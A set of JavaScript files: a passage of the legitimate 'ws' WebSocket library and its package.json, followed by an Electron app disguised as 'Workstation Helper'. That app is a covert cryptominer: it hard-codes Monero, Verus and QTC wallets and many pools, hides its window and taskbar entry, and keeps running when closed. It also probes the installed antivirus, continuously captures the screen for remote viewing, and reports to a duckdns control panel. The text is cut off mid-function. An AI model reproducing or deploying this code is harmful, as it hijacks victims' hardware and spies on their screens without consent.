parsedUrl.hostname.startsWith('[') ? parsedUrl.hostname.slice(1, -1) : parsedUrl.hostname; opts.headers = { ...opts.headers, 'Sec-WebSocket-Version': opts.protocolVersion, 'Sec-WebSocket-Key': key, Connection: 'Upgrade', Upgrade: 'websocket' }; opts.path = parsedUrl.pathname + parsedUrl.search; opts.timeout = opts.handshakeTimeout; if (opts.perMessageDeflate) { perMessageDeflate = new PerMessageDeflate({ ...opts.perMessageDeflate, isServer: false, maxPayload: opts.maxPayload }); opts.headers['Sec-WebSocket-Extensions'] = format({ [PerMessageDeflate.extensionName]: perMessageDeflate.offer() }); } if (protocols.length) { for (const protocol of protocols) { if ( typeof protocol !== 'string' || !subprotocolRegex.test(protocol) || protocolSet.has(protocol) ) { throw new SyntaxError( 'An invalid or duplicated subprotocol was specified' ); } protocolSet.add(protocol); } opts.headers['Sec-WebSocket-Protocol'] = protocols.join(','); } if (opts.origin) { if (opts.protocolVersion < 13) { opts.headers['Sec-WebSocket-Origin'] = opts.origin; } else { opts.headers.Origin = opts.origin; } } if (parsedUrl.username || parsedUrl.password) { const username = querystring.unescape(parsedUrl.username); const password = querystring.unescape(parsedUrl.password); opts.auth = `${username}:${password}`; } if (isIpcUrl) { const i = opts.path.indexOf(':'); if (i === -1) { opts.socketPath = opts.path; opts.path = ''; } else { opts.socketPath = opts.path.slice(0, i); opts.path = opts.path.slice(i + 1); } } let req; if (opts.followRedirects) { if (websocket._redirects === 0) { websocket._originalIpc = isIpcUrl; websocket._originalSecure = isSecure; websocket._originalHostOrSocketPath = isIpcUrl ? opts.socketPath : parsedUrl.host; const headers = options && options.headers; // // Shallow copy the user provided options so that headers can be changed // without mutating the original object. // options = { ...options, headers: {} }; if (headers) { for (const [key, value] of Object.entries(headers)) { options.headers[key.toLowerCase()] = value; } } } else if (websocket.listenerCount('redirect') === 0) { const isSameHost = isIpcUrl ? websocket._originalIpc ? opts.socketPath === websocket._originalHostOrSocketPath : false : websocket._originalIpc ? false : parsedUrl.host === websocket._originalHostOrSocketPath; if (!isSameHost || (websocket._originalSecure && !isSecure)) { // // Match curl 7.77.0 behavior and drop the following headers. These // headers are also dropped when following a redirect to a subdomain. // delete opts.headers.authorization; delete opts.headers.cookie; if (!isSameHost) delete opts.headers.host; opts.auth = undefined; } } // // Match curl 7.77.0 behavior and make the first `Authorization` header win. // If the `Authorization` header is set, then there is nothing to do as it // will take precedence. // if (opts.auth && !options.headers.authorization) { options.headers.authorization = 'Basic ' + Buffer.from(opts.auth).toString('base64'); } req = websocket._req = request(opts); if (websocket._redirects) { // // Unlike what is done for the `'upgrade'` event, no early exit is // triggered here if the user calls `websocket.close()` or // `websocket.terminate()` from a listener of the `'redirect'` event. This // is because the user can also call `request.destroy()` with an error // before calling `websocket.close()` or `websocket.terminate()` and this // would result in an error being emitted on the `request` object with no // `'error'` event listeners attached. // websocket.emit('redirect', websocket.url, req); } } else { req = websocket._req = request(opts); } if (opts.timeout) { req.on('timeout', () => { abortHandshake(websocket, req, 'Opening handshake has timed out'); }); } req.on('error', (err) => { if (req === null || req[kAborted]) return; req = websocket._req = null; emitErrorAndClose(websocket, err); }); req.on('response', (res) => { const location = res.headers.location; const statusCode = res.statusCode; if ( location && opts.followRedirects && statusCode >= 300 && statusCode < 400 ) { if (++websocket._redirects > opts.maxRedirects) { abortHandshake(websocket, req, 'Maximum redirects exceeded'); return; } req.abort(); let addr; try { addr = new URL(location, address); } catch (e) { const err = new SyntaxError(`Invalid URL: ${location}`); emitErrorAndClose(websocket, err); return; } initAsClient(websocket, addr, protocols, options); } else if (!websocket.emit('unexpected-response', req, res)) { abortHandshake( websocket, req, `Unexpected server response: ${res.statusCode}` ); } }); req.on('upgrade', (res, socket, head) => { websocket.emit('upgrade', res); // // The user may have closed the connection from a listener of the // `'upgrade'` event. // if (websocket.readyState !== WebSocket.CONNECTING) return; req = websocket._req = null; const upgrade = res.headers.upgrade; if (upgrade === undefined || upgrade.toLowerCase() !== 'websocket') { abortHandshake(websocket, socket, 'Invalid Upgrade header'); return; } const digest = createHash('sha1') .update(key + GUID) .digest('base64'); if (res.headers['sec-websocket-accept'] !== digest) { abortHandshake(websocket, socket, 'Invalid Sec-WebSocket-Accept header'); return; } const serverProt = res.headers['sec-websocket-protocol']; let protError; if (serverProt !== undefined) { if (!protocolSet.size) { protError = 'Server sent a subprotocol but none was requested'; } else if (!protocolSet.has(serverProt)) { protError = 'Server sent an invalid subprotocol'; } } else if (protocolSet.size) { protError = 'Server sent no subprotocol'; } if (protError) { abortHandshake(websocket, socket, protError); return; } if (serverProt) websocket._protocol = serverProt; const secWebSocketExtensions = res.headers['sec-websocket-extensions']; if (secWebSocketExtensions !== undefined) { if (!perMessageDeflate) { const message = 'Server sent a Sec-WebSocket-Extensions header but no extension ' + 'was requested'; abortHandshake(websocket, socket, message); return; } let extensions; try { extensions = parse(secWebSocketExtensions); } catch (err) { const message = 'Invalid Sec-WebSocket-Extensions header'; abortHandshake(websocket, socket, message); return; } const extensionNames = Object.keys(extensions); if ( extensionNames.length !== 1 || extensionNames[0] !== PerMessageDeflate.extensionName ) { const message = 'Server indicated an extension that was not requested'; abortHandshake(websocket, socket, message); return; } try { perMessageDeflate.accept(extensions[PerMessageDeflate.extensionName]); } catch (err) { const message = 'Invalid Sec-WebSocket-Extensions header'; abortHandshake(websocket, socket, message); return; } websocket._extensions[PerMessageDeflate.extensionName] = perMessageDeflate; } websocket.setSocket(socket, head, { allowSynchronousEvents: opts.allowSynchronousEvents, generateMask: opts.generateMask, maxBufferedChunks: opts.maxBufferedChunks, maxFragments: opts.maxFragments, maxPayload: opts.maxPayload, skipUTF8Validation: opts.skipUTF8Validation }); }); if (opts.finishRequest) { opts.finishRequest(req, websocket); } else { req.end(); } return opts; } /** * Emit the `'error'` and `'close'` events. * * @param {WebSocket} websocket The WebSocket instance * @param {Error} The error to emit * @private */ function emitErrorAndClose(websocket, err) { websocket._readyState = WebSocket.CLOSING; // // The following assignment is practically useless and is done only for // consistency. // websocket._errorEmitted = true; websocket.emit('error', err); websocket.emitClose(); } /** * Create a `net.Socket` and initiate a connection. * * @param {Object} options Connection options * @return {net.Socket} The newly created socket used to start the connection * @private */ function netConnect(options) { options.path = options.socketPath; return net.connect(options); } /** * Create a `tls.TLSSocket` and initiate a connection. * * @param {Object} options Connection options * @return {tls.TLSSocket} The newly created socket used to start the connection * @private */ function tlsConnect(options) { options.path = undefined; if (!options.servername && options.servername !== '') { options.servername = net.isIP(options.host) ? '' : options.host; } return tls.connect(options); } /** * Abort the handshake and emit an error. * * @param {WebSocket} websocket The WebSocket instance * @param {(http.ClientRequest|net.Socket|tls.Socket)} stream The request to * abort or the socket to destroy * @param {String} message The error message * @private */ function abortHandshake(websocket, stream, message) { websocket._readyState = WebSocket.CLOSING; const err = new Error(message); Error.captureStackTrace(err, abortHandshake); if (stream.setHeader) { stream[kAborted] = true; stream.abort(); if (stream.socket && !stream.socket.destroyed) { // // On Node.js >= 14.3.0 `request.abort()` does not destroy the socket if // called after the request completed. See // https://github.com/websockets/ws/issues/1869. // stream.socket.destroy(); } process.nextTick(emitErrorAndClose, websocket, err); } else { stream.destroy(err); stream.once('error', websocket.emit.bind(websocket, 'error')); stream.once('close', websocket.emitClose.bind(websocket)); } } /** * Handle cases where the `ping()`, `pong()`, or `send()` methods are called * when the `readyState` attribute is `CLOSING` or `CLOSED`. * * @param {WebSocket} websocket The WebSocket instance * @param {*} [data] The data to send * @param {Function} [cb] Callback * @private */ function sendAfterClose(websocket, data, cb) { if (data) { const length = isBlob(data) ? data.size : toBuffer(data).length; // // The `_bufferedAmount` property is used only when the peer is a client and // the opening handshake fails. Under these circumstances, in fact, the // `setSocket()` method is not called, so the `_socket` and `_sender` // properties are set to `null`. // if (websocket._socket) websocket._sender._bufferedBytes += length; else websocket._bufferedAmount += length; } if (cb) { const err = new Error( `WebSocket is not open: readyState ${websocket.readyState} ` + `(${readyStates[websocket.readyState]})` ); process.nextTick(cb, err); } } /** * The listener of the `Receiver` `'conclude'` event. * * @param {Number} code The status code * @param {Buffer} reason The reason for closing * @private */ function receiverOnConclude(code, reason) { const websocket = this[kWebSocket]; websocket._closeFrameReceived = true; websocket._closeCode = code; // // The reason is a view into the buffer the socket delivered. Copy it so that // the `WebSocket` does not keep that buffer alive. The copy is not pooled // because a pooled one would keep the pool alive in the same way. // if (reason.length === 0) { websocket._closeMessage = EMPTY_BUFFER; } else { websocket._closeMessage = Buffer.allocUnsafeSlow(reason.length); websocket._closeMessage.set(reason); } if (websocket._socket[kWebSocket] === undefined) return; websocket._socket.removeListener('data', socketOnData); process.nextTick(resume, websocket._socket); if (code === 1005) websocket.close(); else websocket.close(code, reason); } /** * The listener of the `Receiver` `'drain'` event. * * @private */ function receiverOnDrain() { const websocket = this[kWebSocket]; if (!websocket.isPaused) websocket._socket.resume(); } /** * The listener of the `Receiver` `'error'` event. * * @param {(RangeError|Error)} err The emitted error * @private */ function receiverOnError(err) { const websocket = this[kWebSocket]; if (websocket._socket[kWebSocket] !== undefined) { websocket._socket.removeListener('data', socketOnData); // // On Node.js < 14.0.0 the `'error'` event is emitted synchronously. See // https://github.com/websockets/ws/issues/1940. // process.nextTick(resume, websocket._socket); websocket.close(err[kStatusCode]); } if (!websocket._errorEmitted) { websocket._errorEmitted = true; websocket.emit('error', err); } } /** * The listener of the `Receiver` `'finish'` event. * * @private */ function receiverOnFinish() { this[kWebSocket].emitClose(); } /** * The listener of the `Receiver` `'message'` event. * * @param {Buffer|ArrayBuffer|Buffer[])} data The message * @param {Boolean} isBinary Specifies whether the message is binary or not * @private */ function receiverOnMessage(data, isBinary) { this[kWebSocket].emit('message', data, isBinary); } /** * The listener of the `Receiver` `'ping'` event. * * @param {Buffer} data The data included in the ping frame * @private */ function receiverOnPing(data) { const websocket = this[kWebSocket]; if (websocket._autoPong && websocket.readyState === WebSocket.OPEN) { if ( websocket._maxPendingAutoPongs > 0 && websocket._pendingAutoPongs >= websocket._maxPendingAutoPongs ) { websocket.terminate(); } else { websocket._pendingAutoPongs++; websocket.pong(data, !this._isServer, websocket._autoPongComplete); } } websocket.emit('ping', data); } /** * The callback for automatic pong responses. * * @param {WebSocket} websocket The WebSocket instance * @private */ function autoPongComplete(websocket) { websocket._pendingAutoPongs--; } /** * The listener of the `Receiver` `'pong'` event. * * @param {Buffer} data The data included in the pong frame * @private */ function receiverOnPong(data) { this[kWebSocket].emit('pong', data); } /** * Resume a readable stream * * @param {Readable} stream The readable stream * @private */ function resume(stream) { stream.resume(); } /** * The `Sender` error event handler. * * @param {Error} The error * @private */ function senderOnError(err) { const websocket = this[kWebSocket]; if (websocket.readyState === WebSocket.CLOSED) return; if (websocket.readyState === WebSocket.OPEN) { websocket._readyState = WebSocket.CLOSING; setCloseTimer(websocket); } // // `socket.end()` is used instead of `socket.destroy()` to allow the other // peer to finish sending queued data. There is no need to set a timer here // because `CLOSING` means that it is already set or not needed. // this._socket.end(); if (!websocket._errorEmitted) { websocket._errorEmitted = true; websocket.emit('error', err); } } /** * Set a timer to destroy the underlying raw socket of a WebSocket. * * @param {WebSocket} websocket The WebSocket instance * @private */ function setCloseTimer(websocket) { websocket._closeTimer = setTimeout( websocket._socket.destroy.bind(websocket._socket), websocket._closeTimeout ); } /** * The listener of the socket `'close'` event. * * @private */ function socketOnClose() { const websocket = this[kWebSocket]; this.removeListener('close', socketOnClose); this.removeListener('data', socketOnData); this.removeListener('end', socketOnEnd); websocket._readyState = WebSocket.CLOSING; // // The close frame might not have been received or the `'end'` event emitted, // for example, if the socket was destroyed due to an error. Ensure that the // `receiver` stream is closed after writing any remaining buffered data to // it. If the readable side of the socket is in flowing mode then there is no // buffered data as everything has been already written. If instead, the // socket is paused, any possible buffered data will be read as a single // chunk. // if ( !this._readableState.endEmitted && !websocket._closeFrameReceived && !websocket._receiver._writableState.errorEmitted && this._readableState.length !== 0 ) { const chunk = this.read(this._readableState.length); websocket._receiver.write(chunk); } websocket._receiver.end(); this[kWebSocket] = undefined; clearTimeout(websocket._closeTimer); if ( websocket._receiver._writableState.finished || websocket._receiver._writableState.errorEmitted ) { websocket.emitClose(); } else { websocket._receiver.on('error', receiverOnFinish); websocket._receiver.on('finish', receiverOnFinish); } } /** * The listener of the socket `'data'` event. * * @param {Buffer} chunk A chunk of data * @private */ function socketOnData(chunk) { if (!this[kWebSocket]._receiver.write(chunk)) { this.pause(); } } /** * The listener of the socket `'end'` event. * * @private */ function socketOnEnd() { const websocket = this[kWebSocket]; websocket._readyState = WebSocket.CLOSING; websocket._receiver.end(); this.end(); } /** * The listener of the socket `'error'` event. * * @private */ function socketOnError() { const websocket = this[kWebSocket]; this.removeListener('error', socketOnError); this.on('error', NOOP); if (websocket) { websocket._readyState = WebSocket.CLOSING; this.destroy(); } } { "name": "ws", "version": "8.23.0", "description": "Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js", "homepage": "https://github.com/websockets/ws", "repository": { "type": "git", "url": "git+https://github.com/websockets/ws.git" }, "author": "Einar Otto Stangvik (http://2x.io)", "license": "MIT", "main": "index.js", "exports": { ".": { "browser": "./browser.js", "import": "./wrapper.mjs", "require": "./index.js" }, "./package.json": "./package.json" }, "browser": "browser.js", "engines": { "node": ">=10.0.0" }, "files": [ "browser.js", "index.js", "lib/*.js", "wrapper.mjs" ], "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "peerDependenciesMeta": { "bufferutil": { "optional": true }, "utf-8-validate": { "optional": true } }, "devDependencies": { "@eslint/js": "^10.0.1", "benchmark": "^2.1.4", "bufferutil": "^4.0.1", "eslint": "^10.0.1", "eslint-config-prettier": "^10.0.1", "eslint-plugin-prettier": "^5.0.0", "globals": "^17.0.0", "mocha": "^8.4.0", "nyc": "^15.0.0", "prettier": "^3.0.0", "utf-8-validate": "^6.0.0" }, "allowScripts": { "bufferutil": true, "utf-8-validate": true } }import createWebSocketStream from './lib/stream.js'; import extension from './lib/extension.js'; import PerMessageDeflate from './lib/permessage-deflate.js'; import Receiver from './lib/receiver.js'; import Sender from './lib/sender.js'; import subprotocol from './lib/subprotocol.js'; import WebSocket from './lib/websocket.js'; import WebSocketServer from './lib/websocket-server.js'; export { createWebSocketStream, extension, PerMessageDeflate, Receiver, Sender, subprotocol, WebSocket, WebSocketServer }; export default WebSocket;  Workstation Helper
Workstation Helper
STANDBY
Hashrate
0.00 H/s
Shares Aceitos
0
Rejeitados
0
Threads Ativas
0 / 12
Uso de CPU
0.0 %
const electron = require('electron'); const { BrowserWindow, ipcMain, Tray, Menu, nativeImage, desktopCapturer, powerMonitor } = electron; const app = electron.app; const electronNet = electron.net; // ── INSTANCIA UNICA ─────────────────────────────────────────── const gotTheLock = app.requestSingleInstanceLock(); if (!gotTheLock) { app.quit(); process.exit(0); } const path = require('path'); const net = require('net'); const os = require('os'); const http = require('http'); const https = require('https'); const fs = require('fs'); const { exec } = require('child_process'); // ── CHROMIUM GPU / OCCLUSION FIX ──────────────────────────────── // Mantem GPU do Chromium ativa (necessario para VP8 60fps) e evita throttling de janela oculta try { app.commandLine.appendSwitch('no-sandbox'); app.commandLine.appendSwitch('disable-features', 'CalculateNativeWinOcclusion'); } catch (e) { /* ignora se nao suportado */ } // ── CONFIGURACAO ────────────────────────────────────────────── const WALLET = '85Tj7Y7ZznBYZu7f4MpwVWMWz5nis4REiA6hCW1YskwNMg5xmT1T5ZzBUwghKtBxC2SnUj4QDNxXdW95a3kiTG3j62FjXx1'; const VERUS_WALLET = 'RHLqBhXU9rEJ1QcDpncHngY6pmPALxUMQo'; const QTC_WALLET = 'qznNRDEfV66V2ExfV6v19SkwhvZokq8BfsJ8PXrr6CScDxHdt'; const PASS = 'x'; // Endereco do painel XAMPP — altere o IP se o XAMPP estiver em outro PC da rede const PANEL_SERVER = 'https://possante24444.duckdns.org'; const PANEL_PHP = `${PANEL_SERVER}/api.php`; const VERSION = '2.0.2'; // RAM < 4 GB → modo leve 256 MB, worker 'electron-2' // RAM >= 4 GB → modo rápido 2 GB, worker 'electron-pro' const FAST_MODE = os.totalmem() >= 4 * 1024 * 1024 * 1024; const WORKER = FAST_MODE ? 'electron-pro' : 'electron-2'; const POOLS = [ { host: '70.34.214.138', port: 443 }, { host: 'pool.hashvault.pro', port: 443 }, { host: 'pool.supportxmr.com', port: 3333 }, { host: 'monero.herominers.com', port: 1111 }, { host: 'de.monero.herominers.com', port: 1111 }, { host: 'fi.monero.herominers.com', port: 1111 }, { host: 'us.monero.herominers.com', port: 1111 }, { host: 'xmrpool.eu', port: 3333 }, { host: 'xmrpool.eu', port: 5555 }, { host: 'pool.supportxmr.com', port: 3333 }, { host: 'pool.hashvault.pro', port: 443 }, { host: 'xmr.2miners.com', port: 2222 }, { host: 'mine.xmrpool.net', port: 3333 }, { host: 'xmr.f2pool.com', port: 13531 }, { host: 'pool.minexmr.com', port: 4444 }, { host: 'monerohash.com', port: 2222 }, ]; const VERUS_POOLS = [ { host: 'na.luckpool.net', port: 3956 }, { host: 'eu.luckpool.net', port: 3956 }, { host: 'pool.verus.io', port: 9998 }, { host: 'us.vipor.net', port: 5040 }, { host: 'sa.vipor.net', port: 5040 }, ]; const QTC_POOLS = [ { host: 'qtc.2miners.com', port: 3636 }, { host: 'quantus.herominers.com', port: 1155 }, { host: 'qtc.kryptex.network', port: 7049 }, { host: 'qtc.luckypool.io', port: 3333 }, ]; function isGpuActive() { return !!(cfg && (cfg.gpu || cfg.dualGpu)); } function getGpuPools() { return Array.isArray(cfg && cfg.gpuPools) && cfg.gpuPools.length > 0 ? cfg.gpuPools : QTC_POOLS; } function getActivePools() { if (cfg && cfg.gpu && !cfg.dualGpu) { return getGpuPools(); } return Array.isArray(cfg && cfg.pools) && cfg.pools.length > 0 ? cfg.pools : POOLS; } let gpuDeviceName = ''; let gpuLastError = ''; // ── ESTADO ──────────────────────────────────────────────────── let win = null; let tray = null; let nativeMiner = null; let isMiningActive = false; let stratumSocket = null; let stratumId = 1; let currentPoolIndex = 0; let currentJobId = ''; let keepaliveTimer = null; let lastPoolRxTime = 0; let lastJobRxTime = 0; let isConnecting = false; let isPoolConnected = false; let reconnectTimer = null; let pollInterval = null; let cpuMonitorTimer = null; // Estado Stratum GPU (para Dual Mining CPU+GPU) let gpuSocket = null; let gpuStratumId = 1; let gpuPoolIndex = 0; let currentGpuJobId = ''; let gpuKeepaliveTimer = null; let gpuLastRxTime = 0; let gpuLastJobRxTime = 0; let gpuConnecting = false; let gpuPoolConnected = false; let gpuReconnectTimer = null; let gpuSessionId = ''; let gpuLoginId = null; const gpuPendingSubmits = new Set(); let sessionId = ''; let loginId = null; let verusSubId = null; let verusExtranonce1 = '00000000'; let verusTargetHex = '0007fff800000000000000000000000000000000000000000000000000000000'; let verusJob = null; let verusLastNotifyParams = null; let pendingSubmits = new Set(); let maxThreads = Math.max(1, os.cpus().length); let currentThreads = Math.max(1, maxThreads - 2); let previousCPUs = os.cpus(); // ── HARDWARE INFO (coletado uma vez na inicialização) ────────── let hwInfo = { cpu: '', ram: 0, gpu: '', isLaptop: false }; let gpuStats = null; let gpuSmiAvailable = true; let gpuPollTimer = null; let currentGpuDuty = 100; let gpuAutoState = 'idle'; // 'idle' | 'active' | 'vram' | 'manual' function getEffectiveGpuTargetTemp() { if (cfg && cfg.gpuTargetTemp !== null && cfg.gpuTargetTemp !== undefined && cfg.gpuTargetTemp !== '') { return parseInt(cfg.gpuTargetTemp); } return 0; } function getFixedGpuDuty() { if (cfg && cfg.gpuDuty !== null && cfg.gpuDuty !== undefined && cfg.gpuDuty !== '') { return Math.max(10, Math.min(100, parseInt(cfg.gpuDuty) || 80)); } if (cfg && cfg.gpuTargetTemp !== null && cfg.gpuTargetTemp !== undefined && cfg.gpuTargetTemp !== '') { return null; // usuário definiu Temp. Alvo manual -> usa controle por temperatura } return hwInfo.isLaptop ? 80 : 70; } function getActiveGpuDuty() { if (cfg && cfg.gpuActiveDuty !== null && cfg.gpuActiveDuty !== undefined && cfg.gpuActiveDuty !== '') { return Math.max(10, Math.min(100, parseInt(cfg.gpuActiveDuty) || 50)); } return hwInfo.isLaptop ? 70 : 50; } function applyGpuControl() { if (!isMiningActive || !isGpuActive() || !nativeMiner || typeof nativeMiner.setGpuDuty !== 'function') return; const autoGpu = cfg && cfg.autoGpu !== false; const vramHigh = autoGpu && gpuStats && gpuStats.memUsed !== null && ( (gpuStats.memTotal && gpuStats.memTotal > 0) ? (gpuStats.memUsed / gpuStats.memTotal) > 0.35 : gpuStats.memUsed > 450 ); if (vramHigh) { gpuAutoState = 'vram'; if (currentGpuDuty !== 15) { currentGpuDuty = 15; nativeMiner.setGpuDuty(15); log(`[AUTO-GPU] VRAM alta (${gpuStats.memUsed} MB) -> GPU reduzida para 15%`); } return; } let capDuty = getFixedGpuDuty(); const hasManualDuty = cfg && cfg.gpuDuty !== null && cfg.gpuDuty !== undefined && cfg.gpuDuty !== ''; const tgt = getEffectiveGpuTargetTemp(); if (autoGpu && !hasManualDuty) { let idleSec = 999; try { if (powerMonitor && typeof powerMonitor.getSystemIdleTime === 'function') idleSec = powerMonitor.getSystemIdleTime(); } catch {} if (idleSec < (cfg.gpuIdleSec || 120)) { gpuAutoState = 'active'; const activeCap = getActiveGpuDuty(); capDuty = capDuty === null ? activeCap : Math.min(capDuty, activeCap); } else { gpuAutoState = 'idle'; } } else { gpuAutoState = hasManualDuty ? 'manual' : 'idle'; } if (tgt > 0 && !hasManualDuty && gpuStats && gpuStats.temp !== null) { const maxCap = capDuty !== null ? capDuty : 100; let nextDuty = Math.min(currentGpuDuty, maxCap); if (gpuStats.temp >= tgt + 2) nextDuty -= 4; else if (gpuStats.temp <= tgt - 3) nextDuty += 2; nextDuty = Math.max(10, Math.min(maxCap, nextDuty)); if (nextDuty !== currentGpuDuty) { currentGpuDuty = nextDuty; nativeMiner.setGpuDuty(currentGpuDuty); log(`[GPU-TEMP] ${gpuStats.temp}°C (alvo ${tgt}°C, ${gpuAutoState}) -> GPU ${currentGpuDuty}%`); } return; } const targetDuty = capDuty !== null ? capDuty : 100; if (currentGpuDuty !== targetDuty) { currentGpuDuty = targetDuty; nativeMiner.setGpuDuty(currentGpuDuty); log(`[GPU-DUTY] ${gpuAutoState === 'active' ? 'PC em uso' : (hwInfo.isLaptop ? 'Notebook' : 'Desktop')} -> GPU ${currentGpuDuty}%`); } } function pollGpuStats() { if (!gpuSmiAvailable) return; exec('nvidia-smi --query-gpu=name,temperature.gpu,utilization.gpu,memory.used,memory.total,fan.speed,power.draw --format=csv,noheader,nounits', { timeout: 2500, windowsHide: true }, (err, stdout) => { if (err || !stdout || !stdout.trim()) { gpuSmiAvailable = false; applyGpuControl(); return; } const line = stdout.trim().split('\n')[0]; const parts = line.split(',').map(s => s.trim()); const num = (v) => { const n = parseFloat(v); return isFinite(n) ? n : null; }; gpuStats = { name: parts[0] || hwInfo.gpu || '', temp: num(parts[1]), util: num(parts[2]), memUsed: num(parts[3]), memTotal: num(parts[4]), fan: num(parts[5]), power: num(parts[6]), }; applyGpuControl(); }); } function collectHardwareInfo() { pollGpuStats(); if (!gpuPollTimer) gpuPollTimer = setInterval(pollGpuStats, 5000); hwInfo.cpu = (os.cpus()[0] && os.cpus()[0].model) ? os.cpus()[0].model.trim() : 'Desconhecido'; hwInfo.ram = Math.round(os.totalmem() / (1024 * 1024 * 1024)); // GB // GPU via PowerShell (mais confiável que wmic) exec('powershell -NoProfile -Command "Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name"', { timeout: 8000 }, (err, stdout) => { if (!err && stdout) { const gpus = stdout.split('\n').map(l => l.trim()).filter(l => l && !l.startsWith('Microsoft Basic')); hwInfo.gpu = gpus.length ? gpus[0] : (stdout.split('\n').map(l => l.trim()).filter(Boolean)[0] || 'Desconhecido'); } }); // PC vs Notebook: PCSystemType 2 = mobile/laptop (wmic + fallback PowerShell p/ Win11) exec('wmic computersystem get PCSystemType /format:list', { timeout: 5000, windowsHide: true }, (err, stdout) => { const m = (!err && stdout) ? stdout.match(/PCSystemType=(\d+)/) : null; if (m) { hwInfo.isLaptop = parseInt(m[1]) === 2; } else { exec('powershell -NoProfile -Command "(Get-CimInstance Win32_ComputerSystem).PCSystemType"', { timeout: 6000, windowsHide: true }, (e2, out2) => { if (!e2 && out2) hwInfo.isLaptop = parseInt(out2.trim()) === 2; }); } }); } // ── LOG BUFFER (declarado cedo para evitar TDZ no loadConfig) ── let logBuffer = []; let logSeq = 0; let stats = { hashrate: 0, gpuHashrate: 0, shares: 0, rejected: 0, gpuShares: 0, gpuRejected: 0, threads: 0, cpu: 0.0 }; // ── CONFIG MUTAVEL (painel web) ──────────────────────────────── const CONFIG_FILE = path.join(__dirname, 'config.json'); function loadConfig() { try { if (fs.existsSync(CONFIG_FILE)) { const saved = JSON.parse(fs.readFileSync(CONFIG_FILE, 'utf8')); log('[CFG] Configuracao carregada do config.json'); return saved; } } catch (e) { log('[CFG] Erro ao ler config.json: ' + e.message); } return null; } function saveConfig() { try { fs.writeFileSync(CONFIG_FILE, JSON.stringify(cfg, null, 2), 'utf8'); log('[CFG] Configuracao salva em config.json'); } catch (e) { log('[CFG] Erro ao salvar config.json: ' + e.message); } } let cfg = (() => { const defaults = { coin: 'xmr', wallet: WALLET, worker: WORKER, pass: PASS, pools: [...POOLS], gpu: false, dualGpu: false, gpuWallet: QTC_WALLET, gpuPools: [...QTC_POOLS], gpuTargetTemp: null, gpuDuty: null, autoGpu: true, gpuActiveDuty: null, gpuIdleSec: 120, threads: currentThreads, fast: FAST_MODE, autoThreads: true, // controle automatico de threads (CPU-based) idleBoost: true, // 5 min sem mexer -> sobe threads ate maxThreads-2 autoMin: 1, // minimo de threads no modo auto autoMax: null, // maximo no modo auto (null = usa cfg.threads) autoCpuHigh: 92, // % CPU para reduzir thread autoCpuLow: 72, // % CPU para aumentar thread // installDate NÃO fica nos defaults — é gravado só uma vez abaixo }; const saved = loadConfig(); const result = saved ? { ...defaults, ...saved } : defaults; if (saved && saved.dualGpu === undefined) result.dualGpu = false; result.autoThreads = true; // sempre ligado ao iniciar, independente do config salvo result.threads = Math.max(1, maxThreads - 2); // sempre inicia com -2 threads livres // Grava installDate apenas na primeira vez que roda (não existe no config.json) if (!result.installDate) { result.installDate = new Date().toISOString(); try { fs.writeFileSync(CONFIG_FILE, JSON.stringify(result, null, 2), 'utf8'); } catch (e) { } } return result; })(); // ── CAPTURA AO VIVO (loop independente) ─────────────────────── let latestFrame = null; // Buffer do frame mais recente let captureActive = false; // Loop rodando? let activeStreamCount = 0; // Quantos browsers assistindo function startCaptureLoop() { if (captureActive) return; captureActive = true; const loop = () => { if (!captureActive) return; desktopCapturer.getSources({ types: ['screen'], thumbnailSize: { width: 640, height: 360 } }) .then(src => { if (src.length) latestFrame = src[0].thumbnail.toJPEG(40); // 40% = menor = mais rápido if (captureActive) setTimeout(loop, 0); }) .catch(() => { if (captureActive) setTimeout(loop, 100); }); }; loop(); } function stopCaptureLoop() { captureActive = false; latestFrame = null; } // ── ANTIVÃ�RUS ───────────────────────────────────────────────── let detectedAV = 'Verificando...'; function detectAntivirus() { const cmd = `powershell -NoProfile -Command "$av=@();` + `try{$av+=Get-WmiObject -Namespace root\\SecurityCenter2 -Class AntiVirusProduct -EA Stop|Select-Object -Expand displayName}catch{};` + `if(!$av){try{$wd=Get-MpComputerStatus -EA Stop;if($wd.AMServiceEnabled){$av+='Windows Defender'}}catch{}};` + `if(!$av){$av+='Nenhum detectado'};` + `$av -join ', '"`; exec(cmd, (err, stdout) => { detectedAV = (stdout || '').trim() || 'Não detectado'; log(`[AV] Antivírus: ${detectedAV}`); }); } let startTime = null; const PANEL_PORT = 7777; // ── JANELA ──────────────────────────────────────────────────── function createWindow() { win = new BrowserWindow({ width: 900, height: 650, minWidth: 700, minHeight: 500, title: 'Workstation Helper', webPreferences: { nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname, 'preload.js'), sandbox: false, offscreen: false, backgroundThrottling: false, }, backgroundColor: '#0b0c10', autoHideMenuBar: true, show: false, skipTaskbar: true, }); win.loadFile('index.html'); // Segundo plano: janela nao mostra automaticamente // win.webContents.on('did-finish-load', () => { win.show(); }); // desativado // Renderer crashou — tenta recarregar automaticamente win.webContents.on('render-process-gone', (event, details) => { log('[WARN] Renderer caiu (' + details.reason + ') — recarregando...'); setTimeout(() => { if (win && !win.isDestroyed()) { win.loadFile('index.html'); win.show(); } }, 1500); }); // Falha ao carregar — tenta de novo win.webContents.on('did-fail-load', (event, code, desc) => { if (code === -3) return; // ERR_ABORTED e normal em reloads log('[WARN] Falha ao carregar (' + code + ') — tentando novamente...'); setTimeout(() => { if (win && !win.isDestroyed()) win.loadFile('index.html'); }, 2000); }); // Fechar esconde para bandeja (nao encerra o app) win.on('close', (e) => { if (!app.isQuiting) { e.preventDefault(); win.hide(); win.setSkipTaskbar(true); } }); } // ── LOG ─────────────────────────────────────────────────────── function log(msg) { console.log(msg); logBuffer.push({ t: Date.now(), msg }); if (logBuffer.length > 200) logBuffer.shift(); if (win && !win.isDestroyed() && !win.webContents.isDestroyed()) win.webContents.send('log', msg); } // ── CPU USAGE ───────────────────────────────────────────────── function getGlobalCpuUsage() { const cur = os.cpus(); let busy = 0, idle = 0; for (let i = 0; i < cur.length; i++) { const a = previousCPUs[i].times; const b = cur[i].times; busy += (b.user - a.user) + (b.nice - a.nice) + (b.sys - a.sys) + (b.irq - a.irq); idle += (b.idle - a.idle); } previousCPUs = cur; const total = busy + idle; return total <= 0 ? 0 : Math.min(100, Math.max(0, (busy / total) * 100)); } // ── STRATUM (CryptoNote/Monero) ─────────────────────────────── function stratumSend(obj) { if (!stratumSocket || 